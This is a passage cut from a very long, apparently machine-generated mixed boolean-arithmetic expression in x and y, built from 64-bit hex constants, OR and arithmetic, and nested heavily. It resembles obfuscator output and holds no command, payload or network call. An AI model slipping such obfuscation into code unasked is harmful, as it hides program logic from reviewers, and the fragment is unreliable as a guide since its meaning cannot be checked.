8ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+